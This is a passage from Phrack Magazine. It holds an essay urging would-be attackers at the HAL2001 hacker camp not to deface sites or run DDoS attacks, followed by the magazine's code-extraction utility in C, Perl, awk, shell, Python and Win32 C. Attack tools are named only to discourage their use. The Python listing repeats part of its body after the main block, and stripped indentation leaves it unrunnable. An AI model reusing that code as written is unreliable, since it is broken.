Cops, Crimes, and HAL 2001 (http://www.hal2001.org)
or ScRiPt KiDdY MaNuAl To HaL2001
When you arrive at HAL2001 and look around you, you may feel this is an
ideal place to do script-kiddie things. I mean: with 1 GB of bandwidth
coming almost all the way to your tent, a simple ping-flood is a mighty
weapon. And with all these people around, there's bound to be someone within
10 meters that knows how to get root on that webhosting farm you found this
morning.
You may have also noticed all these other people around you. Most of them
seem to be in some kind of different world. Most noticably, they're not
constantly bragging about how many machines they have installed Stacheldraht
on. When they talk about computer security you often don't understand, and
they keep talking about vague political things a lot of the time. That's us.
We are the rest of the hacker community. Weve been here for a while now, so
you would probably just refer to most of us as "these old people".
That's OK.
We feel there are important things going on in the world today. Things worth
fighting against. Governments and large corporations are basically taking
over and are in the process of building mechanisms of control. That may
sound difficult or weird, but think of new laws that allow instantaneous
monitoring of anyone. Think of computer databases that know where everyone
is in realtime. Think of cameras everywhere. Think of making you pay every
time, for everything you watch or listen to. Think of your MP3 collection.
Think of prison.
- Making us all look bad
Hey, let's not kid eachother: we weren't all that good when we were kids.
But right now, powerful people all over the world would like to paint a
picture of HAL2001 as a gathering of dangerous individuals out to destroy.
While it may seem cool to have powerful people think of you as dangerous,
you're only serving their purpose if you deface websites from here, or
perform the mother of all DDoS attacks. You're helping the hardliners that
say we are no good. They don't care about the websites you deface. They
don't care about the DDoS attacks. Heck, their leadership doesn't even know
how to hold a mouse. They care about making us all look like a threat, so
they can get the public support needed to lock us all up.
- Landing you in trouble
But if you don't care about any of the above, here's another reason not to
do bad things at HAL: there is almost no place on earth where the odds of
getting arrested are stacked against you as bad as at HAL2001. Members of
the dutch law enforcement community (yes: cops) are attending in large
numbers. And public perception is that they haven't arrested enough people
for computer crimes recently. So they are under a lot of pressure to arrest
someone. Anyone....
Because few people have been convicted here, there is a notion that the cops
in The Netherlands do not take this seriously. But defacing a site or doing
Denial of Service are serious crimes here, and you may not be going home for
quite a while if you're arrested here. Being arrested at HAL makes your case
a "big deal", no matter how little may have actually happened. This means
they are less likely to let you off with a slap on the wrist.
And if HAL is anything like its predecessors, intelligence people
frominternal security agencies of most industrialised nations are
walkingaround, and will see if anyone from their country is sticking their
head out doing naughty things. HAL is an excellent place to become visible,
in many different and often interesting ways.
- Getting us all disconnected
Just like at HIP97, the authorities have pre-signed orders ready and waiting
to cut our link to the world if the HAL network becomes a source of too many
problems. Yes, you read it right: cut the link. 100% packet loss.
HAL2001 has some of the worlds best system administrators monitoring our
link to see if everything runs smooth. Some of these people already had a
deep understanding of computer security issues before you were even born.
And *ofcourse* they are monitoring to see if anyone is causing problems,
either to our own network operations, or to the outside world.
So do us all and yourself a favour, and please don't be stupid. And if you
still insist on causing trouble, think of this: if you do manage to get us
all diconnected, maybe you should hope the cops get to you first.
- Growing up
If you have it in you, now would be an excellent time to grow up. Live a
life in the hacker community that goes beyond defacing websites and
performing dDoS attacks. The post script-kiddie existence offers many
rewards: you might have feeling you've done something useful more often,
people won't look at you funny, and you might even get to meet girls.
Perhaps even more importantly: we as a community _need_ you to grow up. As
we said: Governments and large corporations are taking control of our world
at alarming speed. Hackers are more likely to understand what's going on,
and to do something about it. Which is one reason why they are being
demonized by parties seeking to monitor the whole population's every move.
Many privacy enhancing technologies still need to be built, and a whole new
generation needs to be made aware that their freedoms are being dismantled.
Your help would be greatly appreciated.
|=[ Fun ]=---------------------------------------------------------------=|
http://www.microsoft.com/office/clippy/images/rollover_4.gif
N0 L0GZ == N0 CRIME !
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x12 of 0x12
|=--------=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=--------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient
way to extract code from textual ASCII articles. It preserves readability and
7-bit clean ASCII codes. As long as there are no extraneous "<++>" or <-->" in
the article, everything runs swimmingly.
Source and precompiled version (windows, unix, ...) is available at
http://www.phrack.org/misc.
|-----------------------------------------------------------------------------|
<++> p56/EX/PMEU/extract4.c !8e2bebc6
/*
* extract.c by Phrack Staff and sirsyko
*
* Copyright (c) 1997 - 2000 Phrack Magazine
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* extract.c
* Extracts textfiles from a specially tagged flatfile into a hierarchical
* directory structure. Use to extract source code from any of the articles
* in Phrack Magazine (first appeared in Phrack 50).
*
* Extraction tags are of the form:
*
* host:~> cat testfile
* irrelevant file contents
* <++> path_and_filename1 !CRC32
* file contents
* <-->
* irrelevant file contents
* <++> path_and_filename2 !CRC32
* file contents
* <-->
* irrelevant file contents
* <++> path_and_filenamen !CRC32
* file contents
* <-->
* irrelevant file contents
* EOF
*
* The `!CRC` is optional. The filename is not. To generate crc32 values
* for your files, simply give them a dummy value initially. The program
* will attempt to verify the crc and fail, dumping the expected crc value.
* Use that one. i.e.:
*
* host:~> cat testfile
* this text is ignored by the program
* <++> testarooni !12345678
* text to extract into a file named testarooni
* as is this text
* <-->
*
* host:~> ./extract testfile
* Opened testfile
* - Extracting testarooni
* crc32 failed (12345678 != 4a298f18)
* Extracted 1 file(s).
*
* You would use `4a298f18` as your crc value.
*
* Compilation:
* gcc -o extract extract.c
*
* ./extract file1 file2 ... filen
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#define VERSION "7niner.20000430 revsion q"
#define BEGIN_TAG "<++> "
#define END_TAG "<-->"
#define BT_SIZE strlen(BEGIN_TAG)
#define ET_SIZE strlen(END_TAG)
#define EX_DO_CHECKS 0x01
#define EX_QUIET 0x02
struct f_name
{
u_char name[256];
struct f_name *next;
};
unsigned long crcTable[256];
void crcgen()
{
unsigned long crc, poly;
int i, j;
poly = 0xEDB88320L;
for (i = 0; i < 256; i++)
{
crc = i;
for (j = 8; j > 0; j--)
{
if (crc & 1)
{
crc = (crc >> 1) ^ poly;
}
else
{
crc >>= 1;
}
}
crcTable[i] = crc;
}
}
unsigned long check_crc(FILE *fp)
{
register unsigned long crc;
int c;
crc = 0xFFFFFFFF;
while( (c = getc(fp)) != EOF )
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF];
}
if (fseek(fp, 0, SEEK_SET) == -1)
{
perror("fseek");
exit(EXIT_FAILURE);
}
return (crc ^ 0xFFFFFFFF);
}
int
main(int argc, char **argv)
{
char *name;
u_char b[256], *bp, *fn, flags;
int i, j = 0, h_c = 0, c;
unsigned long crc = 0, crc_f = 0;
FILE *in_p, *out_p = NULL;
struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;
while ((c = getopt(argc, argv, "cqv")) != EOF)
{
switch (c)
{
case 'c':
flags |= EX_DO_CHECKS;
break;
case 'q':
flags |= EX_QUIET;
break;
case 'v':
fprintf(stderr, "Extract version: %s\n", VERSION);
exit(EXIT_SUCCESS);
}
}
c = argc - optind;
if (c < 2)
{
fprintf(stderr, "Usage: %s [-cqv] file1 file2 ... filen\n", argv[0]);
exit(0);
}
/*
* Fill the f_name list with all the files on the commandline (ignoring
* argv[0] which is this executable). This includes globs.
*/
for (i = 1; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}
else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}
/*
* Sentry node.
*/
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(EXIT_FAILURE);
}
fn_p = fn_p->next;
fn_p->next = NULL;
/*
* Check each file in the f_name list for extraction tags.
*/
for (fn_p = head; fn_p->next; )
{
if (!strcmp(fn_p->name, "-"))
{
in_p = stdin;
name = "stdin";
}
else if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
fn_p = fn_p->next;
continue;
}
else
{
name = fn_p->name;
}
if (!(flags & EX_QUIET))
{
fprintf(stderr, "Scanning %s...\n", fn_p->name);
}
crcgen();
while (fgets(b, 256, in_p))
{
if (!strncmp(b, BEGIN_TAG, BT_SIZE))
{
b[strlen(b) - 1] = 0; /* Now we have a string. */
j++;
crc = 0;
crc_f = 0;
if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
{
perror("mkdir");
exit(EXIT_FAILURE);
}
*bp = '/';
bp = strchr(bp + 1, '/');
}
}
if ((bp = strchr(b, '!')))
{
crc_f =
strtoul((b + (strlen(b) - strlen(bp)) + 1), NULL, 16);
b[strlen(b) - strlen(bp) - 1 ] = 0;
h_c = 1;
}
else
{
h_c = 0;
}
if ((out_p = fopen(b + BT_SIZE, "wb+")))
{
fprintf(stderr, ". Extracting %s\n", b + BT_SIZE);
}
else
{
printf(". Could not extract anything from '%s'.\n",
b + BT_SIZE);
continue;
}
}
else if (!strncmp (b, END_TAG, ET_SIZE))
{
if (out_p)
{
if (h_c == 1)
{
if (fseek(out_p, 0l, 0) == -1)
{
perror("fseek");
exit(EXIT_FAILURE);
}
crc = check_crc(out_p);
if (crc == crc_f && !(flags & EX_QUIET))
{
fprintf(stderr, ". CRC32 verified (%08lx)\n", crc);
}
else
{
if (!(flags & EX_QUIET))
{
fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",
crc_f, crc);
}
}
}
fclose(out_p);
}
else
{
fprintf(stderr, ". `%s` had bad tags.\n", fn_p->name);
continue;
}
}
else if (out_p)
{
fputs(b, out_p);
}
}
if (in_p != stdin)
{
fclose(in_p);
}
tmp = fn_p;
fn_p = fn_p->next;
free(tmp);
}
if (!j)
{
printf("No extraction tags found in list.\n");
}
else
{
printf("Extracted %d file(s).\n", j);
}
return (0);
}
/* EOF */
<-->
<++> p56/EX/PMEU/extract.pl !1a19d427
# Daos <daos@nym.alias.net>
#!/bin/sh -- # -*- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;
$opening=0;
if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
if ($opening) {
chop $curfile;
$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
eval {mkdir $sex_dir, "0777";};
open(ct_ex,">$curfile");
print "Attempting extraction of $curfile\n";
$opened=1;
}
if ($opened && !$opening) {print ct_ex $_};
<-->
<++> p56/EX/PMEU/extract.awk !26522c51
#!/usr/bin/awk -f
#
# Yet Another Extraction Script
# - <sirsyko>
#
/^\<\+\+\>/ {
ind = 1
File = $2
split ($2, dirs, "/")
Dir="."
while ( dirs[ind+1] ) {
Dir=Dir"/"dirs[ind]
system ("mkdir " Dir" 2>/dev/null")
++ind
}
next
}
/^\<\-\-\>/ {
File = ""
next
}
File { print >> File }
<-->
<++> p56/EX/PMEU/extract.sh !a81a2320
#!/bin/sh
# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
#
# note, this file will create all directories relative to the current directory
# originally a bug, I've now upgraded it to a feature since I dont want to deal
# with the leading / (besides, you dont want hackers giving you full pathnames
# anyway, now do you :)
# Hopefully this will demonstrate another useful aspect of IFS other than
# haxoring rewt
#
# Usage: ./extract.sh <filename>
cat $* | (
Working=1
while [ $Working ];
do
OLDIFS1="$IFS"
IFS=
if read Line; then
IFS="$OLDIFS1"
set -- $Line
case "$1" in
"<++>") OLDIFS2="$IFS"
IFS=/
set -- $2
IFS="$OLDIFS2"
while [ $# -gt 1 ]; do
File=${File:-"."}/$1
if [ ! -d $File ]; then
echo "Making dir $File"
mkdir $File
fi
shift
done
File=${File:-"."}/$1
echo "Storing data in $File"
;;
"<-->") if [ "x$File" != "x" ]; then
unset File
fi ;;
*) if [ "x$File" != "x" ]; then
IFS=
echo "$Line" >> $File
IFS="$OLDIFS1"
fi
;;
esac
IFS="$OLDIFS1"
else
echo "End of file"
unset Working
fi
done
)
<-->
<++> p56/EX/PMEU/extract.py !83f65f60
#! /bin/env python
# extract.py Timmy 2tone <_spoon_@usa.net>
import sys, string, getopt, os
class Datasink:
"""Looks like a file, but doesn't do anything."""
def write(self, data): pass
def close(self): pass
def extract(input, verbose = 1):
"""Read a file from input until we find the end token."""
if type(input) == type('string'):
fname = input
try: input = open(fname)
except IOError, (errno, why):
print "Can't open %s: %s" % (fname, why)
return errno
else:
fname = '<file descriptor %d>' % input.fileno()
inside_embedded_file = 0
linecount = 0
line = input.readline()
while line:
if not inside_embedded_file and line[:4] == '<++>':
inside_embedded_file = 1
linecount = 0
filename = string.strip(line[4:])
if mkdirs_if_any(filename) != 0:
pass
try: output = open(filename, 'w')
except IOError, (errno, why):
print "Can't open %s: %s; skipping file" % (filename, why)
output = Datasink()
continue
if verbose:
print 'Extracting embedded file %s from %s...' % (filename,
fname),
elif inside_embedded_file and line[:4] == '<-->':
output.close()
inside_embedded_file = 0
if verbose and not isinstance(output, Datasink):
print '[%d lines]' % linecount
elif inside_embedded_file:
output.write(line)
# Else keep looking for a start token.
line = input.readline()
linecount = linecount + 1
def mkdirs_if_any(filename, verbose = 1):
"""Check for existance of /'s in filename, and make directories."""
path, file = os.path.split(filename)
if not path: return
errno = 0
start = os.getcwd()
components = string.split(path, os.sep)
for dir in components:
if not os.path.exists(dir):
try:
os.mkdir(dir)
if verbose: print 'Created directory', path
except os.error, (errno, why):
print "Can't make directory %s: %s" % (dir, why)
break
try: os.chdir(dir)
except os.error, (errno, why):
print "Can't cd to directory %s: %s" % (dir, why)
break
os.chdir(start)
return errno
def usage():
"""Blah."""
die('Usage: extract.py [-V] filename [filename...]')
def main():
try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
except getopt.error, why: usage()
if len(args) <= 0: usage()
if ('-V', '') in optlist: verbose = 0
else: verbose = 1
for filename in args:
if verbose: print 'Opening source file', filename + '...'
extract(filename, verbose)
def db(filename = 'P51-11'):
"""Run this script in the python debugger."""
import pdb
sys.argv[1:] = ['-v', filename]
pdb.run('extract.main()')
def die(msg, errcode = 1):
print msg
sys.exit(errcode)
if __name__ == '__main__':
try: main()
except KeyboardInterrupt: pass
except getopt.error, why: usage()
if len(args) <= 0: usage()
if ('-V', '') in optlist: verbose = 0
else: verbose = 1
for filename in args:
if verbose: print 'Opening source file', filename + '...'
extract(filename, verbose)
def db(filename = 'P51-11'):
"""Run this script in the python debugger."""
import pdb
sys.argv[1:] = [filename]
pdb.run('extract.main()')
def die(msg, errcode = 1):
print msg
sys.exit(errcode)
if __name__ == '__main__':
try: main()
except KeyboardInterrupt: pass # No messy traceback.
<-->
<++> p56/EX/PMEU/extract-win.c !e519375d
/***************************************************************************/
/* WinExtract */
/* */
/* Written by Fotonik <fotonik@game-master.com>. */
/* */
/* Coding of WinExtract started on 22aug98. */
/* */
/* This version (1.0) was last modified on 22aug98. */
/* */
/* This is a Win32 program to extract text files from a specially tagged */
/* flat file into a hierarchical directory structure. Use to extract */
/* source code from articles in Phrack Magazine. The latest version of */
/* this program (both source and executable codes) can be found on my */
/* website: http://www.altern.com/fotonik */
/***************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
void PowerCreateDirectory(char *DirectoryName);
int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
LPSTR lpszArgs, int nWinMode)
{
OPENFILENAME OpenFile; /* Structure for Open common dialog box */
char InFileName[256]="";
char OutFileName[256];
char Title[]="WinExtract - Choose a file to extract files from.";
FILE *InFile;
FILE *OutFile;
char Line[256];
char DirName[256];
int FileExtracted=0; /* Flag used to determine if at least one file was */
int i; /* extracted */
ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
OpenFile.lStructSize=sizeof(OPENFILENAME);
OpenFile.hwndOwner=HWND_DESKTOP;
OpenFile.hInstance=hThisInst;
OpenFile.lpstrFile=InFileName;
OpenFile.nMaxFile=sizeof(InFileName)-1;
OpenFile.lpstrTitle=Title;
OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
if(GetOpenFileName(&OpenFile))
{
if((InFile=fopen(InFileName,"r"))==NULL)
{
MessageBox(NULL,"Could not open file.",NULL,MB_OK);
return 0;
}
/* If we got here, InFile is opened. */
while(fgets(Line,256,InFile))
{
if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */
{
Line[strlen(Line)-1]='\0';
strcpy(OutFileName,Line+5);
/* Check if a dir has to be created and create one if necessary */
for(i=strlen(OutFileName)-1;i>=0;i--)
{
if((OutFileName[i]=='\\')||(OutFileName[i]=='/'))
{
strncpy(DirName,OutFileName,i);
DirName[i]='\0';
PowerCreateDirectory(DirName);
break;
}
}
if((OutFile=fopen(OutFileName,"w"))==NULL)
{
MessageBox(NULL,"Could not create file.",NULL,MB_OK);
fclose(InFile);
return 0;
}
/* If we got here, OutFile can be written to */
while(fgets(Line,256,InFile))
{
if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */
{
fputs(Line, OutFile);
}
else
{
break;
}
}
fclose(OutFile);
FileExtracted=1;
}
}
fclose(InFile);
if(FileExtracted)
{
MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK);
}
else
{
MessageBox(NULL,"Nothing to extract.","Warning",MB_OK);
}
}
return 1;
}
/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
{
int i;
int DirNameLength=strlen(DirectoryName);
char DirToBeCreated[256];
for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
{ /* create '/' */
if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')||
(i==DirNameLength-1))
{
strncpy(DirToBeCreated,DirectoryName,i+1);
DirToBeCreated[i+1]='\0';
CreateDirectory(DirToBeCreated,NULL);
}
}
}
<-->
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------